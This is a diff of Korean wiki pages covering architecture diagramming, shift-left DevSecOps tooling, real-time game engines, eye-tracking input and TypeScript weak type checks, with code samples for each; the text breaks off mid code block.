> **"매 diagram 은 매 system 의 매 mental model 을 매 stakeholder 간 매 align 하는 매 communication tool 이다"**. Simon Brown 의 매 C4 model (2018) 이 매 modern de-facto standard. 매 2026 trend 는 매 diagram-as-code (Structurizr DSL, D2, Mermaid) 으로 매 version control + AI generation.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 C4 levels
|
||||
1. **System Context**: 매 system + actors + 매 external systems.
|
||||
2. **Container**: 매 deployable unit (web app, DB, queue).
|
||||
3. **Component**: 매 container 내부 logical block.
|
||||
4. **Code (optional)**: UML class — 매 거의 사용 X.
|
||||
|
||||
### 매 supplementary diagrams
|
||||
- **Deployment**: physical / cloud topology.
|
||||
- **Sequence**: temporal interactions.
|
||||
- **State**: entity lifecycle.
|
||||
- **ERD**: data model.
|
||||
- **Network**: subnets / firewalls.
|
||||
|
||||
### 매 응용
|
||||
1. 매 stakeholder 별 매 abstraction level 선택.
|
||||
2. 매 ADR 의 시각적 근거.
|
||||
3. 매 onboarding 의 매 first artifact.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### C4 Container (Structurizr DSL)
|
||||
```
|
||||
workspace {
|
||||
model {
|
||||
customer = person "Customer"
|
||||
shop = softwareSystem "Shop" {
|
||||
web = container "Web App" "React 19" "TypeScript"
|
||||
api = container "API" "Spring Boot 4" "Java 25"
|
||||
db = container "Database" "PostgreSQL 17"
|
||||
queue = container "Queue" "Kafka 4.0"
|
||||
}
|
||||
payment = softwareSystem "Stripe" "External"
|
||||
|
||||
customer -> web "Browses"
|
||||
web -> api "Calls" "REST/JSON"
|
||||
api -> db "Reads/writes" "JDBC"
|
||||
api -> queue "Publishes events"
|
||||
api -> payment "Charges" "HTTPS"
|
||||
}
|
||||
views {
|
||||
container shop { include * autolayout lr }
|
||||
theme default
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Mermaid C4 (in markdown)
|
||||
```mermaid
|
||||
C4Container
|
||||
Person(user, "Customer")
|
||||
System_Boundary(shop, "Shop") {
|
||||
Container(web, "Web App", "React")
|
||||
Container(api, "API", "Spring Boot")
|
||||
ContainerDb(db, "DB", "PostgreSQL")
|
||||
}
|
||||
Rel(user, web, "Uses")
|
||||
Rel(web, api, "Calls", "REST")
|
||||
Rel(api, db, "Reads/writes", "JDBC")
|
||||
```
|
||||
|
||||
### D2 (modern DSL)
|
||||
```d2
|
||||
user -> web: browses
|
||||
web -> api: REST/JSON {
|
||||
style.stroke: blue
|
||||
}
|
||||
api -> db: SQL
|
||||
api -> kafka -> worker
|
||||
|
||||
shape: sequence_diagram
|
||||
```
|
||||
|
||||
### Sequence (Mermaid)
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant U as User
|
||||
participant W as Web
|
||||
participant A as API
|
||||
participant S as Stripe
|
||||
U->>W: Submit checkout
|
||||
W->>A: POST /orders
|
||||
A->>S: Charge
|
||||
S-->>A: Receipt
|
||||
A-->>W: 201 Created
|
||||
```
|
||||
|
||||
### CI render → PNG (Structurizr CLI)
|
||||
```yaml
|
||||
- name: Render diagrams
|
||||
run: |
|
||||
docker run --rm -v $PWD:/usr/local/structurizr \
|
||||
structurizr/cli export -workspace workspace.dsl -format mermaid
|
||||
docker run --rm -v $PWD:/data minlag/mermaid-cli \
|
||||
-i workspace-Container.mmd -o docs/architecture.png
|
||||
```
|
||||
|
||||
### AI-assisted diagram generation
|
||||
```bash
|
||||
# Claude Opus 4.7 reads codebase, infers C4 Container
|
||||
claude diagram --level=container --format=structurizr ./src > workspace.dsl
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| Context | Tool |
|
||||
|---|---|
|
||||
| 매 living architecture (versioned) | Structurizr DSL |
|
||||
| 매 quick markdown embed | Mermaid |
|
||||
| 매 modern, scriptable | D2 |
|
||||
| 매 deployment topology | draw.io / Excalidraw |
|
||||
| 매 cloud-specific | AWS / Azure architecture icons |
|
||||
|
||||
**기본값**: 매 Structurizr DSL (1 source) + 매 Mermaid export → README.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[소프트웨어 아키텍처 설계]]
|
||||
- 변형: [[C4 Model]]
|
||||
- 응용: [[아키텍처 다이어그램 Architecture Diagram]] · [[ADR]]
|
||||
- Adjacent: [[Mermaid]] · [[D2]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 codebase → diagram inference / 매 diagram → narrative explanation.
|
||||
**언제 X**: 매 production deployment topology — 매 SRE 검증 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Diagram zoo**: 매 100 가지 abstraction level 의 mix.
|
||||
- **PowerPoint architecture**: 매 version 무관, 매 stale.
|
||||
- **No legend**: 매 box meaning 매 unclear.
|
||||
- **Over-abstracted**: 매 "Cloud" box 1개로 매 모든 detail 숨김.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brown, *The C4 Model for Software Architecture* (c4model.com); Bass *SAIP 4e*).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — C4 / Structurizr / D2 / Mermaid 패턴 추가 |
|
||||
+151
@@ -0,0 +1,151 @@
|
||||
---
|
||||
id: wiki-2026-0508-시프트-레프트-shift-left
|
||||
title: 시프트 레프트 (Shift-Left)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Shift Left, Shift-Left Testing, Shift-Left Security]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [devops, testing, security, ci-cd]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: agnostic
|
||||
framework: ci-cd
|
||||
---
|
||||
|
||||
# 시프트 레프트 (Shift-Left)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 결함은 매 발견 시점이 빠를수록 매 비용이 기하급수적으로 감소한다"**. Larry Smith가 2001년 매 명명. 매 testing / security / compliance 를 매 SDLC 의 좌측 (design / coding) 으로 매 이동. 매 2026 modern form은 매 IDE 안에서 매 SAST + AI assisted review (Claude Opus 4.7, GitHub Copilot) 가 매 commit 전 매 결함 탐지.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Cost curve (Boehm / NIST)
|
||||
- 매 design phase: 1x
|
||||
- 매 implementation: 5x
|
||||
- 매 testing: 10x
|
||||
- 매 production: 100x+
|
||||
|
||||
### 매 적용 영역
|
||||
- **Testing**: TDD / unit test in pre-commit hook.
|
||||
- **Security**: SAST (Semgrep, CodeQL), SCA (Dependabot, Snyk), secret scanning (gitleaks).
|
||||
- **Compliance**: policy as code (OPA / Conftest).
|
||||
- **Infrastructure**: tfsec, checkov.
|
||||
- **Quality**: lint / type check at IDE save.
|
||||
|
||||
### 매 응용
|
||||
1. Pre-commit hooks 으로 매 30 sec feedback.
|
||||
2. PR-blocking CI 로 매 main 매 clean.
|
||||
3. AI review (Claude Code / Copilot) 으로 매 design phase 매 결함 탐지.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pre-commit hook config
|
||||
```yaml
|
||||
# .pre-commit-config.yaml
|
||||
repos:
|
||||
- repo: https://github.com/pre-commit/pre-commit-hooks
|
||||
rev: v5.0.0
|
||||
hooks:
|
||||
- id: trailing-whitespace
|
||||
- id: end-of-file-fixer
|
||||
- repo: https://github.com/gitleaks/gitleaks
|
||||
rev: v8.21.0
|
||||
hooks: [{ id: gitleaks }]
|
||||
- repo: https://github.com/returntocorp/semgrep
|
||||
rev: v1.95.0
|
||||
hooks: [{ id: semgrep, args: [--config=auto, --error] }]
|
||||
- repo: local
|
||||
hooks:
|
||||
- id: pytest-changed
|
||||
name: pytest-changed
|
||||
entry: pytest --testmon
|
||||
language: system
|
||||
pass_filenames: false
|
||||
```
|
||||
|
||||
### GitHub Actions: shift-left CI
|
||||
```yaml
|
||||
on: [pull_request]
|
||||
jobs:
|
||||
shift-left:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with: { fetch-depth: 0 }
|
||||
- uses: github/codeql-action/init@v3
|
||||
with: { languages: python }
|
||||
- uses: github/codeql-action/analyze@v3
|
||||
- uses: aquasecurity/tfsec-action@v1
|
||||
- run: npx snyk test --severity-threshold=high
|
||||
- run: gitleaks detect --source . --redact
|
||||
```
|
||||
|
||||
### Policy as code (OPA / Rego)
|
||||
```rego
|
||||
package terraform.s3
|
||||
|
||||
deny[msg] {
|
||||
resource := input.resource_changes[_]
|
||||
resource.type == "aws_s3_bucket"
|
||||
not resource.change.after.server_side_encryption_configuration
|
||||
msg := sprintf("S3 bucket %v: encryption not configured", [resource.name])
|
||||
}
|
||||
```
|
||||
|
||||
### IDE-time SAST (VS Code Semgrep)
|
||||
```json
|
||||
{
|
||||
"semgrep.scan.configuration": ["auto", "p/owasp-top-ten"],
|
||||
"semgrep.scan.onSave": true,
|
||||
"editor.codeActionsOnSave": { "source.fixAll": "explicit" }
|
||||
}
|
||||
```
|
||||
|
||||
### AI design review (Claude Opus 4.7)
|
||||
```bash
|
||||
claude review --pre-commit \
|
||||
--rules "OWASP Top 10, race conditions, error handling" \
|
||||
$(git diff --cached --name-only)
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 secret leak 매 방지 | gitleaks pre-commit + GitHub secret scanning |
|
||||
| 매 dependency vulnerability | Dependabot + Snyk in PR |
|
||||
| 매 IaC misconfiguration | tfsec + OPA |
|
||||
| 매 logic bug | TDD + property-based tests |
|
||||
| 매 design flaw | AI-assisted review (Claude / Copilot) |
|
||||
|
||||
**기본값**: 매 pre-commit (lint + secret) + PR-CI (SAST + SCA + tests).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[CI_CD 파이프라인 및 IDE 통합 보안|DevSecOps]]
|
||||
- 응용: [[SAST]] · [[SCA_Fundamentals|SCA]]
|
||||
- Adjacent: [[TDD]] · [[Supply Chain Security]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 PR review 의 first-pass / 매 security policy generation / 매 test case 생성.
|
||||
**언제 X**: 매 final security signoff — 매 human security engineer 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Shift-left without budget**: 매 dev 에 매 책임만 떠넘기기.
|
||||
- **Tool spam**: 매 30 가지 scanner — 매 noise 로 매 ignored.
|
||||
- **Block on everything**: 매 false positive 로 매 trust 상실.
|
||||
- **No baseline**: 매 legacy code 의 매 모든 finding block.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Smith 2001 *Shift-Left Testing*, Forrester *State of Application Security 2025*, OWASP DevSecOps Guideline).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 매 pre-commit, OPA, AI review 패턴 추가 |
|
||||
+180
@@ -0,0 +1,180 @@
|
||||
---
|
||||
id: wiki-2026-0508-실시간-엔진-real-time-engine
|
||||
title: 실시간 엔진 (Real-Time Engine)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Real-Time Engine, RTE, Game Engine, Realtime Rendering]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [game-engine, realtime, rendering, simulation]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: cpp
|
||||
framework: unreal-unity-godot
|
||||
---
|
||||
|
||||
# 실시간 엔진 (Real-Time Engine)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 RTE 는 매 매 프레임 (16.67ms @ 60Hz, 매 8.33ms @ 120Hz) 안에 매 simulation + render 매 완료해야 한다 — 매 deadline 매 hard"**. Gregory 의 매 *Game Engine Architecture* 가 매 canonical reference. 매 2026 modern engines: Unreal Engine 5.5 (Nanite, Lumen, MetaHuman), Unity 6 (HDRP, ECS/DOTS), Godot 4.4, Bevy (Rust ECS).
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 frame budget breakdown (60 Hz)
|
||||
- Input poll: <1 ms
|
||||
- Game logic / scripting: 2-4 ms
|
||||
- Physics: 2-4 ms
|
||||
- Animation / IK: 1-3 ms
|
||||
- Render submit (CPU): 1-3 ms
|
||||
- GPU render: 4-10 ms
|
||||
- Total: <16.67 ms
|
||||
|
||||
### 매 core subsystems
|
||||
- **Renderer**: scene graph, culling, rasterizer / RT.
|
||||
- **Physics**: rigid body, soft body, character controller.
|
||||
- **Audio**: 3D positional, mixing, DSP.
|
||||
- **Animation**: skeletal, blend tree, state machine.
|
||||
- **Networking**: client prediction, lag compensation.
|
||||
- **Scripting / ECS**: gameplay code.
|
||||
- **Asset pipeline**: import, baking, streaming.
|
||||
|
||||
### 매 응용
|
||||
1. 매 game (AAA / indie / mobile).
|
||||
2. 매 architecture viz / digital twin.
|
||||
3. 매 VR / AR experience.
|
||||
4. 매 simulation training.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Fixed timestep + interpolation (Glenn Fiedler)
|
||||
```cpp
|
||||
double accumulator = 0, t = 0;
|
||||
const double dt = 1.0 / 60.0;
|
||||
double prevTime = now();
|
||||
while (running) {
|
||||
double curr = now();
|
||||
accumulator += curr - prevTime;
|
||||
prevTime = curr;
|
||||
while (accumulator >= dt) {
|
||||
physics.step(dt);
|
||||
accumulator -= dt;
|
||||
}
|
||||
double alpha = accumulator / dt;
|
||||
renderer.render(state.lerp(prev, alpha));
|
||||
}
|
||||
```
|
||||
|
||||
### ECS (Bevy 0.15, Rust)
|
||||
```rust
|
||||
#[derive(Component)] struct Position(Vec3);
|
||||
#[derive(Component)] struct Velocity(Vec3);
|
||||
|
||||
fn movement(time: Res<Time>, mut q: Query<(&mut Position, &Velocity)>) {
|
||||
for (mut pos, vel) in &mut q {
|
||||
pos.0 += vel.0 * time.delta_seconds();
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
App::new()
|
||||
.add_plugins(DefaultPlugins)
|
||||
.add_systems(Update, movement)
|
||||
.run();
|
||||
}
|
||||
```
|
||||
|
||||
### Frustum culling (renderer)
|
||||
```cpp
|
||||
void cull(const Camera& cam, const std::vector<Renderable>& objs,
|
||||
std::vector<Renderable>& visible) {
|
||||
Frustum f = cam.frustum();
|
||||
for (const auto& o : objs)
|
||||
if (f.intersects(o.bounds)) visible.push_back(o);
|
||||
}
|
||||
```
|
||||
|
||||
### Spatial hash for broadphase
|
||||
```cpp
|
||||
class SpatialHash {
|
||||
std::unordered_map<int64_t, std::vector<EntityId>> cells;
|
||||
static constexpr float cellSize = 4.0f;
|
||||
static int64_t key(Vec3 p) {
|
||||
return ((int64_t)(p.x / cellSize) << 40)
|
||||
^ ((int64_t)(p.y / cellSize) << 20)
|
||||
^ (int64_t)(p.z / cellSize);
|
||||
}
|
||||
public:
|
||||
void insert(EntityId id, Vec3 p) { cells[key(p)].push_back(id); }
|
||||
std::vector<EntityId> query(Vec3 p) { return cells[key(p)]; }
|
||||
};
|
||||
```
|
||||
|
||||
### Client prediction + reconciliation (netcode)
|
||||
```typescript
|
||||
class Client {
|
||||
pending: Input[] = [];
|
||||
onInput(i: Input) {
|
||||
this.applyLocal(i);
|
||||
this.send(i);
|
||||
this.pending.push(i);
|
||||
}
|
||||
onServerSnapshot(s: Snapshot) {
|
||||
this.state = s.state;
|
||||
this.pending = this.pending.filter(i => i.seq > s.lastAcked);
|
||||
for (const i of this.pending) this.applyLocal(i);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Unreal Lumen / Nanite usage (high-level config)
|
||||
```cpp
|
||||
// Project Settings → Rendering
|
||||
// - Dynamic Global Illumination Method: Lumen
|
||||
// - Reflection Method: Lumen
|
||||
// - Shadow Method: Virtual Shadow Maps
|
||||
// - Generate Mesh Distance Fields: enabled
|
||||
// - Nanite-enabled meshes: import with "Build Nanite" checked
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| Use case | Engine |
|
||||
|---|---|
|
||||
| 매 AAA / cinematic | Unreal Engine 5.5 |
|
||||
| 매 mobile / 2D / cross-platform | Unity 6 |
|
||||
| 매 open source / lightweight | Godot 4.4 |
|
||||
| 매 data-oriented / Rust | Bevy |
|
||||
| 매 web | three.js / Babylon.js |
|
||||
| 매 simulation (no rendering) | custom + physics lib |
|
||||
|
||||
**기본값**: 매 Unreal 5.5 (high fidelity) / Unity 6 (productivity).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Computer Graphics]]
|
||||
- 변형: [[실시간 엔진 RTE]] (alias)
|
||||
- 응용: [[Unity]] · [[Bevy]]
|
||||
- Adjacent: [[ECS]] · [[Game Loop]] · [[Frustum Culling]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 ECS architecture design / 매 shader explanation / 매 netcode pattern.
|
||||
**언제 X**: 매 production shader / 매 critical-path code — 매 profile 기반 review.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Variable timestep physics**: 매 instability + 매 nondeterminism.
|
||||
- **Single-threaded mainloop**: 매 modern multi-core 미활용.
|
||||
- **No frame budget**: 매 random stutter / spike.
|
||||
- **OOP-heavy hot path**: 매 cache miss / 매 ECS 매 미적용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Gregory, *Game Engine Architecture 4e*; Akenine-Möller et al., *Real-Time Rendering 5e*; Fiedler, *Fix Your Timestep*).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — fixed-timestep / ECS / culling / netcode 패턴 추가 |
|
||||
+188
@@ -0,0 +1,188 @@
|
||||
---
|
||||
id: wiki-2026-0508-안구-운동-기능-oculomotor-functions
|
||||
title: 안구 운동 기능 (Oculomotor functions)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Oculomotor, Eye Tracking, Gaze, Foveated Rendering Input]
|
||||
duplicate_of: none
|
||||
source_trust_level: B
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [hci, eye-tracking, vr-ar, accessibility, foveated-rendering]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: webxr
|
||||
---
|
||||
|
||||
# 안구 운동 기능 (Oculomotor functions)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 시선은 의도다"**. 사람의 안구 움직임 (saccade, smooth pursuit, fixation, vergence)은 attention과 intent의 신호 — HCI architecture에서 input modality, foveated rendering의 trigger, 그리고 accessibility의 핵심 channel. 2026 Apple Vision Pro·Quest 3·PSVR 2가 모두 eye tracking을 표준화하면서 architecture-level 시스템 component로 격상.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4 가지 안구 운동
|
||||
- **Saccade**: 빠른 도약 (200-300°/s), 도중에는 시각 정보 suppress (saccadic suppression).
|
||||
- **Smooth pursuit**: 움직이는 target 추적, 대상 없이 의식적으로 만들 수 없음.
|
||||
- **Fixation**: 한 점 응시 (200-300ms 평균), micro-tremor 포함.
|
||||
- **Vergence**: 양안의 거리 조절 — depth/3D UI에서 핵심.
|
||||
|
||||
### 매 architecture 역할
|
||||
- **Input**: gaze + dwell, gaze + pinch (Vision Pro 모델). 정확도 ~1°.
|
||||
- **Foveated rendering**: gaze 주변 high-res, 주변부 low-res → GPU 50-70% 절약.
|
||||
- **Attention metric**: heatmap 기반 UX 검증, A/B test의 implicit signal.
|
||||
- **Accessibility**: ALS 등 운동 장애 사용자의 통신 channel.
|
||||
|
||||
### 매 응용
|
||||
1. **VR/AR**: foveated rendering, 자연스러운 selection.
|
||||
2. **Web analytics**: heatmap (Hotjar, Microsoft Clarity).
|
||||
3. **자동차 HMI**: 운전자 attention 모니터링 (Tesla driver-facing camera, Cadillac Super Cruise).
|
||||
4. **의료**: 신경학적 진단 (saccade latency = Parkinson 지표).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### WebXR로 gaze ray 얻기 (Vision Pro Safari)
|
||||
```typescript
|
||||
// XRSession with eye-tracking feature
|
||||
const session = await navigator.xr!.requestSession('immersive-vr', {
|
||||
requiredFeatures: ['hand-tracking', 'eye-tracking'],
|
||||
});
|
||||
|
||||
session.requestAnimationFrame(function frame(_t, xrFrame) {
|
||||
const referenceSpace = /* … */;
|
||||
for (const source of xrFrame.session.inputSources) {
|
||||
if (source.targetRayMode === 'gaze') {
|
||||
const pose = xrFrame.getPose(source.targetRaySpace, referenceSpace);
|
||||
if (pose) handleGazeRay(pose.transform);
|
||||
}
|
||||
}
|
||||
session.requestAnimationFrame(frame);
|
||||
});
|
||||
```
|
||||
|
||||
### Dwell-time selection
|
||||
```typescript
|
||||
class GazeDwellSelector {
|
||||
private hovered: Element | null = null;
|
||||
private since = 0;
|
||||
constructor(private readonly thresholdMs = 800) {}
|
||||
|
||||
update(target: Element | null, now: number) {
|
||||
if (target !== this.hovered) {
|
||||
this.hovered = target; this.since = now;
|
||||
target?.dispatchEvent(new CustomEvent('gazeenter'));
|
||||
return;
|
||||
}
|
||||
if (target && now - this.since >= this.thresholdMs) {
|
||||
target.dispatchEvent(new CustomEvent('gazeselect'));
|
||||
this.since = Number.POSITIVE_INFINITY; // 한 번만 fire
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Fixation detection (I-DT algorithm)
|
||||
```typescript
|
||||
// I-DT: dispersion-threshold identification
|
||||
type Sample = { x: number; y: number; t: number };
|
||||
|
||||
export function detectFixations(
|
||||
samples: Sample[],
|
||||
windowMs = 100,
|
||||
dispersionDeg = 1.0,
|
||||
): Array<{ start: number; end: number; cx: number; cy: number }> {
|
||||
const out: any[] = [];
|
||||
let i = 0;
|
||||
while (i < samples.length) {
|
||||
let j = i + 1;
|
||||
while (j < samples.length && samples[j].t - samples[i].t < windowMs) j++;
|
||||
const win = samples.slice(i, j);
|
||||
const xs = win.map(s => s.x), ys = win.map(s => s.y);
|
||||
const disp = (Math.max(...xs) - Math.min(...xs))
|
||||
+ (Math.max(...ys) - Math.min(...ys));
|
||||
if (disp < dispersionDeg) {
|
||||
// extend
|
||||
while (j < samples.length) {
|
||||
const x2 = [...xs, samples[j].x], y2 = [...ys, samples[j].y];
|
||||
const d = (Math.max(...x2) - Math.min(...x2))
|
||||
+ (Math.max(...y2) - Math.min(...y2));
|
||||
if (d >= dispersionDeg) break;
|
||||
xs.push(samples[j].x); ys.push(samples[j].y); j++;
|
||||
}
|
||||
out.push({
|
||||
start: samples[i].t, end: samples[j - 1].t,
|
||||
cx: avg(xs), cy: avg(ys),
|
||||
});
|
||||
}
|
||||
i = j;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
const avg = (xs: number[]) => xs.reduce((a, b) => a + b, 0) / xs.length;
|
||||
```
|
||||
|
||||
### Foveated rendering hint (WebGPU)
|
||||
```typescript
|
||||
// 2026 WebGPU에서 variable rate shading via gaze
|
||||
const gaze = getGazeNDC(); // [-1,1]^2
|
||||
device.queue.writeBuffer(uniformBuffer, 0, new Float32Array([
|
||||
gaze.x, gaze.y, /*innerRadius*/ 0.15, /*outerRadius*/ 0.45,
|
||||
]));
|
||||
// fragment shader: distance(uv, gaze) > outer ⇒ discard 75% samples
|
||||
```
|
||||
|
||||
### Saccade 중 UI 변화 (change blindness 활용)
|
||||
```typescript
|
||||
// saccade 검출 시 다음 frame에 layout 변경 → 사용자가 인지 못함
|
||||
function onSaccadeStart(cb: () => void) {
|
||||
// velocity > 200 deg/s 임계
|
||||
let last: Sample | null = null;
|
||||
return (s: Sample) => {
|
||||
if (last) {
|
||||
const v = Math.hypot(s.x - last.x, s.y - last.y) / (s.t - last.t) * 1000;
|
||||
if (v > 200) cb();
|
||||
}
|
||||
last = s;
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| VR/AR primary input | gaze + pinch (Vision Pro 패턴) |
|
||||
| Desktop accessibility | dwell selection (800-1500ms) |
|
||||
| Analytics only | heatmap aggregation, real-time 처리 X |
|
||||
| 의료 진단 | 120Hz+ 정밀 tracker, raw sample 저장 |
|
||||
|
||||
**기본값**: 정확도 1° / 60Hz / dwell 800ms — 일반 UX의 baseline.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Human-Computer Interaction]]
|
||||
- 변형: [[Eye Tracking]]
|
||||
- 응용: [[Accessibility (A11y)|Accessibility]]
|
||||
- Adjacent: [[WebXR]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: VR/AR 입력 설계, gaze heatmap 분석 결과 해석.
|
||||
**언제 X**: gaze data 정확도가 낮은 환경 (일반 webcam 기반 1° 이상 오차)에서 critical input으로 사용 — false trigger 폭주.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Midas touch**: 보는 것을 모두 click으로 해석 → 의도하지 않은 trigger. dwell·confirmation 필수.
|
||||
- **고정 dwell time**: 사용자별 적응 필요 — 노약자는 길게.
|
||||
- **Saccade 중 UI 깜빡임**: 사용자에 멀미·혼란.
|
||||
- **Calibration 없이 시작**: 정확도 5° 이상 → 사실상 무용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Apple visionOS HIG 2026; Tobii eye-tracking research; Salvucci & Goldberg I-DT 2000).
|
||||
- 신뢰도 B (HCI 분야 표준이지만 architecture wiki에서는 보조 주제).
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — saccade/fixation/vergence·WebXR·I-DT 알고리즘 |
|
||||
+138
@@ -0,0 +1,138 @@
|
||||
---
|
||||
id: wiki-2026-0508-약한-타입-검사-weak-type-detection
|
||||
title: 약한 타입 검사 (Weak Type Detection)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Weak Type Detection, TypeScript Weak Types, Excess Property Check]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [typescript, types, type-safety]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: typescript-5
|
||||
---
|
||||
|
||||
# 약한 타입 검사 (Weak Type Detection)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 weak type 은 매 모든 property 가 매 optional 인 type → 매 TypeScript 가 매 어떤 object 든 매 assignable 로 보아 매 typo 매 silently"**. TS 2.4 (2017) 부터 매 specific weak-type assignment check 추가. 매 2026 modern TS 5.7 은 매 strict + exactOptionalPropertyTypes + verbatimModuleSyntax 로 매 default-strict.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 weak type 정의
|
||||
- 매 모든 property 가 매 `?:` (optional).
|
||||
- 예: `interface Opts { timeout?: number; retry?: number; }`.
|
||||
|
||||
### 매 detection rule
|
||||
- 매 source object 가 매 weak type target 의 매 어떤 property 와도 매 overlap 하지 않으면 → 매 error.
|
||||
- 매 typo (e.g. `tiemout` instead of `timeout`) → 매 catch.
|
||||
|
||||
### 매 응용
|
||||
1. 매 config object 매 typo 방지.
|
||||
2. 매 partial type 의 매 안전한 사용.
|
||||
3. 매 React props 의 매 narrow 검사.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic weak-type error
|
||||
```typescript
|
||||
interface Options {
|
||||
timeout?: number;
|
||||
retry?: number;
|
||||
}
|
||||
|
||||
function call(opts: Options) { /*...*/ }
|
||||
|
||||
// ✗ Error: Type '{ tiemout: number; }' has no properties in common with type 'Options'.
|
||||
call({ tiemout: 30 });
|
||||
|
||||
// ✓
|
||||
call({ timeout: 30 });
|
||||
```
|
||||
|
||||
### Excess property check (related)
|
||||
```typescript
|
||||
// Object literal — excess properties checked
|
||||
call({ timeout: 30, foo: 1 }); // ✗ Error: 'foo' does not exist
|
||||
|
||||
// Variable — only weak-type rule applies
|
||||
const o = { timeout: 30, foo: 1 };
|
||||
call(o); // ✓ (excess check skipped, but weak-type still checks overlap)
|
||||
```
|
||||
|
||||
### exactOptionalPropertyTypes (TS 4.4+, default in 2026 setups)
|
||||
```json
|
||||
{ "compilerOptions": { "exactOptionalPropertyTypes": true } }
|
||||
```
|
||||
|
||||
```typescript
|
||||
interface User { name: string; nickname?: string; }
|
||||
const u: User = { name: "kim", nickname: undefined }; // ✗ Error
|
||||
const u2: User = { name: "kim" }; // ✓
|
||||
```
|
||||
|
||||
### Branded type to avoid weak-type ambiguity
|
||||
```typescript
|
||||
type UserId = string & { readonly __brand: "UserId" };
|
||||
type OrderId = string & { readonly __brand: "OrderId" };
|
||||
|
||||
function getUser(id: UserId) { /*...*/ }
|
||||
const oid = "ord_1" as OrderId;
|
||||
getUser(oid); // ✗ Error
|
||||
```
|
||||
|
||||
### Required<> to disable weak detection
|
||||
```typescript
|
||||
type StrictOptions = Required<Options>;
|
||||
function strictCall(opts: StrictOptions) { /*...*/ }
|
||||
strictCall({ timeout: 30 }); // ✗ retry missing — clearer than weak type
|
||||
```
|
||||
|
||||
### Const assertion for narrow inference
|
||||
```typescript
|
